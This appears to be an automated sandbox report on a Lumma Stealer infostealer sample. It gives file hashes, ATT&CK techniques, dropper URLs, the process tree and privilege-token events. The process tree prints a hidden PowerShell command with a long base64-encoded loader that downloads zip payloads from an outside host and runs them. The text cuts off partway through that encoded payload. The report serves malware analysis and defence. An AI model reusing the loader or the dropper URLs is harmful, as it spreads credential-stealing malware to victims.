lumma | f659219bbbb50593d0cd629ccf48faca878b444162b14863854480a7c9289266

Analysis

max time kernel
119s
max time network
128s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07-10-2024 02:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

install.exe
Size

136KB
MD5

5ecd826babbebdd959456c471dec6465
SHA1

f94a596b742c0653ff7201469f133108f17b46e9
SHA256

b2be43c010bc0d268a42a11296829e088d7eef81cc39bfcdc0b9f0e9a65717ea
SHA512

30563a15786f245e4a7ff1b8996f302dbf4b1d4950098d6899815b5065d3058b290a81b6564c19c85cfcd425c08c9f6bac5bc31ba95773978f9a9c5cde123d38
SSDEEP

1536:JZ2FWSNhd/4131iP08SKKAP7wBwp8wZtE:r2ddQ131ispKJP7w2p

Score

10^/10

lumma discovery execution stealer

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://gailsacademy.com/fza/f1a.zip

exe.dropper

https://gailsacademy.com/fza/f4a.zip

exe.dropper

https://gailsacademy.com/fza/f3a.zip

exe.dropper

https://gailsacademy.com/fza/f2a.zip

exe.dropper

https://gailsacademy.com/fzf/

Extracted

Family

lumma

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
1720	powershell.exe

Executes dropped EXE 2 IoCs

Processes:

vlc.exevlc.exe

pid	Process
1516	vlc.exe
2396	vlc.exe

Loads dropped DLL 6 IoCs

Processes:

cmd.exevlc.exevlc.exe

pid	Process
2092	cmd.exe
1516	vlc.exe
1516	vlc.exe
1516	vlc.exe
2396	vlc.exe
2396	vlc.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
2	pastebin.com
3	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

Processes:

vlc.exe

description	pid	Process	procid_target
PID 2396 set thread context of 2184	2396	vlc.exe	63

System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

chcp.comcmd.exejavaw.exechcp.compowershell.exeAcroRd32.exeexplorer.execmd.execmd.exeWMIC.execmd.exeWMIC.exemore.comchcp.cominstall.exeWMIC.execmd.exechcp.commore.comcmd.exeexplorer.execmd.exechcp.commore.compowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	javaw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exevlc.exevlc.exepowershell.execmd.exe

pid	Process
1720	powershell.exe
1516	vlc.exe
2396	vlc.exe
2396	vlc.exe
2632	powershell.exe
2184	cmd.exe
2184	cmd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

AcroRd32.exe

pid	Process
2700	AcroRd32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

vlc.execmd.exe

pid	Process
2396	vlc.exe
2184	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeWMIC.exe

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1992	WMIC.exe
Token: SeSecurityPrivilege	1992	WMIC.exe
Token: SeTakeOwnershipPrivilege	1992	WMIC.exe
Token: SeLoadDriverPrivilege	1992	WMIC.exe
Token: SeSystemProfilePrivilege	1992	WMIC.exe
Token: SeSystemtimePrivilege	1992	WMIC.exe
Token: SeProfSingleProcessPrivilege	1992	WMIC.exe
Token: SeIncBasePriorityPrivilege	1992	WMIC.exe
Token: SeCreatePagefilePrivilege	1992	WMIC.exe
Token: SeBackupPrivilege	1992	WMIC.exe
Token: SeRestorePrivilege	1992	WMIC.exe
Token: SeShutdownPrivilege	1992	WMIC.exe
Token: SeDebugPrivilege	1992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1992	WMIC.exe
Token: SeRemoteShutdownPrivilege	1992	WMIC.exe
Token: SeUndockPrivilege	1992	WMIC.exe
Token: SeManageVolumePrivilege	1992	WMIC.exe
Token: 33	1992	WMIC.exe
Token: 34	1992	WMIC.exe
Token: 35	1992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1912	WMIC.exe
Token: SeSecurityPrivilege	1912	WMIC.exe
Token: SeTakeOwnershipPrivilege	1912	WMIC.exe
Token: SeLoadDriverPrivilege	1912	WMIC.exe
Token: SeSystemProfilePrivilege	1912	WMIC.exe
Token: SeSystemtimePrivilege	1912	WMIC.exe
Token: SeProfSingleProcessPrivilege	1912	WMIC.exe
Token: SeIncBasePriorityPrivilege	1912	WMIC.exe
Token: SeCreatePagefilePrivilege	1912	WMIC.exe
Token: SeBackupPrivilege	1912	WMIC.exe
Token: SeRestorePrivilege	1912	WMIC.exe
Token: SeShutdownPrivilege	1912	WMIC.exe
Token: SeDebugPrivilege	1912	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1912	WMIC.exe
Token: SeRemoteShutdownPrivilege	1912	WMIC.exe
Token: SeUndockPrivilege	1912	WMIC.exe
Token: SeManageVolumePrivilege	1912	WMIC.exe
Token: 33	1912	WMIC.exe
Token: 34	1912	WMIC.exe
Token: 35	1912	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1912	WMIC.exe
Token: SeSecurityPrivilege	1912	WMIC.exe
Token: SeTakeOwnershipPrivilege	1912	WMIC.exe
Token: SeLoadDriverPrivilege	1912	WMIC.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

javaw.exeAcroRd32.exe

pid	Process
2736	javaw.exe
2736	javaw.exe
2700	AcroRd32.exe
2700	AcroRd32.exe
2700	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

install.exejavaw.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2904 wrote to memory of 2736	2904	install.exe	30
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2736 wrote to memory of 2316	2736	javaw.exe	31
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 2180	2316	cmd.exe	33
PID 2316 wrote to memory of 3012	2316	cmd.exe	34
PID 2316 wrote to memory of 3012	2316	cmd.exe	34
PID 2316 wrote to memory of 3012	2316	cmd.exe	34
PID 2316 wrote to memory of 3012	2316	cmd.exe	34
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 2736 wrote to memory of 3008	2736	javaw.exe	35
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 2208	3008	cmd.exe	37
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 1992	3008	cmd.exe	38
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 3008 wrote to memory of 2448	3008	cmd.exe	39
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 2736 wrote to memory of 1496	2736	javaw.exe	41
PID 1496 wrote to memory of 1468	1496	cmd.exe	43
PID 1496 wrote to memory of 1468	1496	cmd.exe	43
PID 1496 wrote to memory of 1468	1496	cmd.exe	43
PID 1496 wrote to memory of 1468	1496	cmd.exe	43

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe
  "C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "jre\.;jre\..;jre\asm-all.jar;jre\bin;jre\COPYRIGHT;jre\dn-compiled-module.jar;jre\dn-php-sdk.jar;jre\gson.jar;jre\jphp-app-framework.jar;jre\jphp-core.jar;jre\jphp-desktop-ext.jar;jre\jphp-gui-ext.jar;jre\jphp-json-ext.jar;jre\jphp-runtime.jar;jre\jphp-xml-ext.jar;jre\jphp-zend-ext.jar;jre\jphp-zip-ext.jar;jre\lib;jre\LICENSE;jre\README.txt;jre\release;jre\slf4j-api.jar;jre\slf4j-simple.jar;jre\THIRDPARTYLICENSEREADME-JAVAFX.txt;jre\THIRDPARTYLICENSEREADME.txt;jre\Welcome.html;jre\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:2180
  - - C:\Windows\system32\reg.exe
      C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild"
      4⤵
      PID:3012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:2208
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1992
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:2448
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1496
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:1468
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1912
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:468
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List | C:\Windows\System32\more.com"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1684
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 866
      4⤵
      System Location Discovery: System Language Discovery
      PID:408
  - - C:\Windows\SysWOW64\wbem\WMIC.exe
      C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List
      4⤵
      System Location Discovery: System Language Discovery
      PID:300
  - - C:\Windows\SysWOW64\more.com
      C:\Windows\System32\more.com
      4⤵
      System Location Discovery: System Language Discovery
      PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19""
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3024
  - - C:\Windows\SysWOW64\chcp.com
      C:\Windows\System32\chcp.com 65001
      4⤵
      System Location Discovery: System Language Discovery
      PID:2016
  - - C:\Windows\system32\reg.exe
      C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19"
      4⤵
      PID:1936
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93RXJTSGVMTCAtbm9wUm8gLUV4ZWNVVElvTnBPIEJZcGFTUyAtdyBISWQgLWVjIEpBQnBBR1VBVVFCeUFHUUFPUUJrQUVNQVBRQW5BR2dBZEFCMEFIQUFjd0E2QUM4QUx3Qm5BR0VBYVFCc0FITUFZUUJqQUdFQVpBQmxBRzBBZVFBdUFHTUFid0J0QUM4QVpnQjZBR0VBTHdCbUFERUFZUUF1QUhvQWFRQndBQ2NBT3dBZ0FDUUFTQUJrQUVFQVZnQjVBSEVBU0FBOUFFY0FZd0JOQUNBQVpRQjRBSEFBUVFCT0FHUUFMUUJCQUhJQVF3QklBRWtBVmdCbEFDQUFMUUJGQUhJQWNnQlBBSElBUVFCakFGUUFhUUJQQUc0QUlBQnpBRWtBVEFCbEFFNEFWQUJzQUZrQVF3QlBBRzRBVkFCSkFFNEFWUUJsQURzQUlBQWtBSFVBYXdCWUFGZ0FVZ0JHQUVrQVpRQTlBQ2NBYlFBekFESUFWd0JXQURVQVlnQlNBQzRBZWdCcEFIQUFKd0E3QUNBQUpBQlNBSElBVGdCb0FFZ0FTUUJsQUQwQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QVp3QmhBR2tBYkFCekFHRUFZd0JoQUdRQVpRQnRBSGtBTGdCakFHOEFiUUF2QUdZQWVnQmhBQzhBWmdBMEFHRUFMZ0I2QUdrQWNBQW5BRHNBSUFBa0FITUFWUUJDQUhBQVlnQm1BRGdBUFFBbkFFd0FUd0F4QUdrQWJnQk9BRUVBTGdCNkFHa0FjQUFuQURzQUlBQWtBRzRBUlFBMEFFRUFUZ0JNQUdZQVBRQkhBR01BVFFBZ0FGTUFWQUJoQUhJQVZBQXRBR0lBYVFCVUFITUFkQUJTQUdFQWJnQnpBR1lBWlFCeUFDQUFMUUJsQUhJQWNnQlBBRklBWVFCakFGUUFTUUJ2QUU0QUlBQlRBR2tBYkFCbEFFNEFWQUJNQUhrQVl3QnZBRTRBVkFCSkFHNEFkUUJGQURzQUlBQWtBR0lBYkFCaUFHVUFjQUI2QUZvQVBRQW5BRFlBUkFCTkFFd0FWUUF1QUhvQWFRQndBQ2NBT3dBZ0FDUUFVZ0JuQUhvQU5RQlhBRXdBYmdBOUFDY0FhQUIwQUhRQWNBQnpBRG9BTHdBdkFHY0FZUUJwQUd3QWN3QmhBR01BWVFCa0FHVUFiUUI1QUM0QVl3QnZBRzBBTHdCbUFIb0FZUUF2QUdZQU13QmhBQzRBZWdCcEFIQUFKd0E3QUNBQVd3QnVBR1VBZEFBdUFITUFSUUJ5QUhZQWFRQkRBRVVBVUFCUEFFa0FUZ0IwQUcwQVFRQk9BRUVBUndCRkFGSUFYUUE2QURvQWN3QmxBRU1BZFFCU0FFa0FWQUJaQUhBQVVnQlBBRlFBYndCakFFOEFiQUFnQUQwQUlBQmJBRTRBWlFCMEFDNEFjd0JGQUdNQVZRQlNBRWtBVkFCWkFGQUFVZ0JQQUhRQVR3QmpBRThBVEFCMEFGa0FjQUJsQUYwQU9nQTZBRlFBVEFCVEFERUFNZ0E3QUNBQUpBQkpBRzRBUXdCSEFESUFNZ0JXQUVvQVBRQW5BRlFBWlFCdEFIQUFRd0J2QUc0QWRBQnlBRzhBYkFCc0FDY0FPd0FnQUNRQU5BQjVBRVlBWXdCS0FGWUFTZ0E5QUNjQWJBQTRBR1VBUmdCV0FFOEFVd0JUQUM0QWVnQnBBSEFBSndBN0FDQUFZd0JFQUNBQUpBQkZBRzRBZGdBNkFFRUFjQUJ3QUdRQVlRQjBBR0VBT3dBZ0FDUUFSQUF6QUdjQWJBQndBRDBBSndCb0FIUUFkQUJ3QUhNQU9nQXZBQzhBWndCaEFHa0FiQUJ6QUdFQVl3QmhBR1FBWlFCdEFIa0FMZ0JqQUc4QWJRQXZBR1lBZWdCaEFDOEFaZ0F5QUdFQUxnQjZBR2tBY0FBbkFEc0FJQUFrQUVZQVl3QnRBRllBVndCekFGa0FQUUFpQUNRQVpRQk9BSFlBT2dCaEFGQUFVQUJrQUVFQWRBQkJBRndBSkFCaUFHd0FZZ0JsQUhBQWVnQmFBQ0lBT3dBZ0FDUUFlQUJJQUdZQU5RQjRBRzhBVFFCMUFEMEFJZ0FrQUdVQVRnQjJBRG9BUVFCd0FIQUFSQUJoQUhRQVFRQmNBQ1FBY3dCVkFFSUFjQUJpQUdZQU9BQWlBRHNBSUFBa0FFNEFjd0JLQUhnQWRRQlpBRGdBVkFBOUFDSUFld0F3QUgwQVhBQjdBREVBZlFBaUFDQUFMUUJtQUNBQUpBQmxBRzRBVmdBNkFFRUFVQUJ3QUVRQVFRQjBBRUVBTEFBZ0FDUUFkUUJyQUZnQVdBQlNBRVlBU1FCbEFEc0FJQUFrQUdRQU1BQkVBRGNBV1FCd0FEMEFTZ0J2QUVrQVRnQXRBRkFBUVFCVUFHZ0FJQUF0QUhBQVFRQjBBRWdBSUFBa0FHVUFiZ0JXQURvQVFRQlFBSEFBUkFCQkFIUUFRUUFnQUMwQVl3QklBR2tBVEFCa0FGQUFRUUIwQUdnQUlBQWtBRFFBZVFCR0FHTUFTZ0JXQUVvQU93QWdBQ1FBU3dCT0FEWUFUUUJNQUhJQWJBQnFBRDBBSWdCaUFHa0FkQUJ6QUdFQVpBQk5BRWtBVGdBdUFHVUFXQUJsQUNBQUx3QlVBRklBUVFCT0FGTUFaZ0JsQUZJQUlBQjBBR0lBWlFCT0FHc0FJQUF2QUVRQVR3QlhBRzRBVEFCUEFFRUFSQUFnQUM4QVVBQnlBR2tBYndCU0FFa0FWQUJaQUNBQWJnQnZBSElBYlFCQkFFd0FJQUI3QURBQWZRQWdBSHNBTVFCOUFDSUFJQUF0QUdZQUlBQWtBRklBWndCNkFEVUFWd0JNQUc0QUxBQWdBQ1FBZUFCSUFHWUFOUUI0QUc4QVRRQjFBRHNBSUFBa0FIUUFRUUExQURBQVJRQTlBQ2NBUWdCSkFGUUFVd0JCQUdRQWJRQkpBRTRBTGdCRkFIZ0FSUUFnQUM4QVZBQlNBR0VBVGdCVEFHWUFSUUJ5QUNBQU1BQjJBR0VBYUFCc0FDQUFMd0JFQUU4QWR3QnVBRXdBVHdCQkFHUUFJQUF2QUhBQWNnQnBBRThBVWdCcEFGUUFlUUFnQUU0QVR3QnlBRTBBWVFCc0FDQUFKd0FyQUNRQVJBQXpBR2NBYkFCd0FDc0FKd0FnQUNjQUt3QWtBRVlBWXdCdEFGWUFWd0J6QUZrQU93QWdBQ1FBTWdCeEFHWUFhQUJKQUc4QVpRQTlBQ0lBSkFCRkFHNEFkZ0E2QUdFQWNBQndBRVFBUVFCVUFFRUFYQUFrQUVrQWJnQkRBRWNBTWdBeUFGWUFTZ0FpQURzQUlBQWtBR1FBZFFCdUFGUUFOd0JCQUZVQVBRQWlBR0lBYVFCMEFGTUFZUUJrQUcwQVNRQnVBQzRBWlFCWUFHVUFJQUF2QUhRQVVnQkJBRTRBVXdCbUFHVUFVZ0FnQUZjQVJBQmFBSE1BVHdCbkFDQUFMd0JrQUc4QWR3Qk9BRXdBYndCQkFFUUFJQUF2QUhBQVVnQnBBRzhBY2dCcEFGUUFlUUFnQUU0QWJ3QlNBRTBBUVFCc0FDQUFld0F3QUgwQUlBQjdBREVBZlFBaUFDQUFMUUJtQUNBQUpBQnBBR1VBVVFCeUFHUUFPUUJrQUVNQUxBQWdBQ1FBWkFBd0FFUUFOd0JaQUhBQU93QWdBQ1FBVndCTkFHVUFiQUJvQUZvQVN3QTlBQ0lBWWdCcEFIUUFVd0JoQUdRQWJRQkpBRzRBTGdCbEFGZ0FaUUFnQUM4QWRBQlNBRUVBVGdCVEFHWUFaUUJTQUNBQVZ3QkVBRm9BY3dCUEFHY0FJQUF2QUdRQWJ3QjNBRTRBVEFCdkFFRUFSQUFnQUM4QWNBQlNBR2tBYndCeUFHa0FWQUI1QUNBQVRnQnZBRklBVFFCQkFHd0FJQUFrQUZJQWNnQk9BR2dBU0FCSkFHVUFJQUFrQUU0QWN3QktBSGdBZFFCWkFEZ0FWQUFpQURzQUlBQkpBRVlBSUFBb0FDUUFTQUJrQUVFQVZnQjVBSEVBU0FBcEFDQUFld0FnQUdrQVJnQWdBQ2dBSkFCdUFFVUFOQUJCQUU0QVRBQm1BQ2tBSUFCN0FDQUFjd0IwQUVFQVVnQlVBQzBBWWdCcEFGUUFVd0IwQUhJQVFRQk9BRk1BUmdCRkFISUFJQUF0QUhNQVR3QlZBRklBUXdCRkFDQUFKQUJFQURNQVp3QnNBSEFBSUFBdEFFUUFaUUJUQUZRQWFRQk9BRUVBVkFCcEFFOEFUZ0FnQUNRQVJnQmpBRzBBVmdCWEFITUFXUUE3QUNBQWN3QjBBRUVBY2dCVUFDMEFZZ0JwQUZRQWN3QjBBRklBUVFCT0FGTUFSZ0JGQUhJQUlBQXRBSE1BVHdCVkFISUFRd0JsQUNBQUpBQlNBR2NBZWdBMUFGY0FUQUJ1QUNBQUxRQmtBRVVBY3dCVUFFa0FUZ0JCQUZRQWFRQlBBRzRBSUFBa0FIZ0FTQUJtQURVQWVBQnZBRTBBZFFBN0FDQUFVd0JVQUVFQVVnQjBBQzBBUWdCSkFIUUFjd0IwQUhJQVlRQnVBRk1BUmdCRkFISUFJQUF0QUhNQVR3QlZBSElBUXdCbEFDQUFKQUJTQUhJQVRnQm9BRWdBU1FCbEFDQUFMUUJFQUdVQWN3QlVBR2tBVGdCaEFGUUFhUUJQQUU0QUlBQWtBRTRBY3dCS0FIZ0FkUUJaQURnQVZBQTdBQ0FBVXdCVUFFRUFjZ0JVQUMwQVFnQkpBRlFBVXdCVUFISUFZUUJPQUhNQVJnQkZBSElBSUFBdEFITUFid0JWQUZJQVl3QkZBQ0FBSkFCcEFHVUFVUUJ5QUdRQU9RQmtBRU1BSUFBdEFHUUFaUUJ6QUZRQWFRQk9BRUVBZEFCSkFHOEFiZ0FnQUNRQVpBQXdBRVFBTndCWkFIQUFPd0FnQUgwQUlBQkZBR3dBVXdCbEFDQUFld0JwQUc0QWRnQnZBRXNBWlFBdEFHVUFXQUJ3QUZJQVpRQnpBRk1BU1FCUEFFNEFJQUF0QUVNQWJ3Qk5BRzBBUVFCdUFHUUFJQUFrQUVzQVRnQTJBRTBBVEFCeUFHd0FhZ0E3QUNBQVNRQk9BRllBYndCTEFFVUFMUUJsQUZnQVVBQnlBR1VBY3dCVEFFa0Fid0J1QUNBQUxRQkRBRThBVFFCTkFFRUFUZ0JrQUNBQUpBQjBBRUVBTlFBd0FFVUFPd0FnQUVrQVJRQllBQ0FBTFFCREFFOEFUUUJ0QUVFQWJnQmtBQ0FBSkFCWEFFMEFaUUJzQUdnQVdnQkxBRHNBSUFCSkFHNEFWZ0J2QUVzQVJRQXRBR1VBV0FCUUFGSUFSUUJ6QUZNQVNRQlBBRzRBSUFBdEFFTUFid0J0QUUwQVFRQk9BR1FBSUFBa0FHUUFkUUJ1QUZRQU53QkJBRlVBT3dBZ0FIMEFJQUJsQUZnQWNBQmhBRTRBWkFBdEFHRUFVZ0JEQUVnQVNRQldBRVVBSUFBdEFGQUFZUUIwQUdnQUlBQWtBSGdBU0FCbUFEVUFlQUJ2QUUwQWRRQWdBQzBBWkFCbEFITUFkQUJKQUc0QVlRQlVBRWtBYndCdUFIQUFRUUIwQUVnQUlBQWtBRElBY1FCbUFHZ0FTUUJ2QUdVQU93QWdBR1VBZUFCUUFHRUFUZ0JrQUMwQVFRQlNBR01BU0FCcEFIWU